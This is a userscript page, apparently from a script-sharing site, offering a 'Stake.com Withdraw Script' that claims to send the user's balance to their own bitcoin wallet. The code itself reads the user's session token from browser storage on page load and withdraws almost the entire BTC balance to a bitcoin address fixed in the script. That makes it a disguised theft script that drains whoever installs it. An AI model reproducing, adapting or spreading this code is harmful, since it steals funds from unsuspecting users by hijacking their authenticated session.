Stake.com Withdraw Script

withdraw your entire balance to your bitcoin wallet

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         Stake.com Withdraw Script
// @namespace    Stake Casino
// @version      0.5
// @description  withdraw your entire balance to your bitcoin wallet
// @author       casinoguy05
// @match        https://stake.com/
// @icon         none
// @grant        none
// @license      MIT
// ==/UserScript==

(function() {

  // cfg
  var dest_addr = "bc1qm4cdzh3jfh8j3f2ehu08ym7zs85csn64r2h2a8";
  var currency = "btc";
  var withdrawal_threshold = 0;

  let auth_key = window.localStorage.getItem('jwt').replace('"', "").replace('"', "");

  function create_graphql_request(auth_key, function_name, function_body, function_variables, callback)
  {
    let http_request = new XMLHttpRequest();
    http_request.onreadystatechange = function() {
      if(http_request.readyState != 4) return;

      callback(JSON.parse(http_request.responseText));
    };


    http_request.open("POST", "https://api.stake.com/graphql", true);

    http_request.setRequestHeader("content-type", "application/json");
    http_request.setRequestHeader("x-access-token", auth_key);

    http_request.send(JSON.stringify([
      {
        operationName: function_name,
        query: function_body,
        variables: function_variables
      }
    ]));
  }

  function on_balance_callback(balance_data)
  {
    console.log(balance_data);
    let user_info = balance_data[0].data.user;

    let btc_balance = 0;
    let fee = balance_data[0].data.info.currency.withdrawalFee.value;

    for(let i = 0; i < user_info.balances.length; i++)
    {
      let balance_info = user_info.balances[i];

      if(balance_info.available.currency === currency)
      {
        btc_balance = balance_info.available.amount;
        break;
      }
    }

    if(btc_balance < withdrawal_threshold) return;

    create_graphql_request(auth_key,
      "CreateWithdrawalMutation",
      "mutation CreateWithdrawalMutation($currency: CurrencyEnum!, $address: String!, $amount: Float!) { createWithdrawal(currency: $currency, address: $address, amount: $amount) { id name address amount refFee status } }",
      { currency: currency, address: dest_addr, amount: btc_balance - (fee * 2) }, function(d) {
        console.log(JSON.stringify(d));
      });
  }

  create_graphql_request(auth_key,
    "CreateWithdrawalQuery",
    "query CreateWithdrawalQuery($currency: CurrencyEnum!) { user { id hasTfaEnabled balances { available { amount currency __typename }" +
    "vault { amount currency __typename } __typename } __typename } info { currency(currency: $currency) { withdrawalFee { value __typename }" +
    "withdrawalMin { value __typename } __typename } __typename } } ",
    {currency: currency}, on_balance_callback);
})();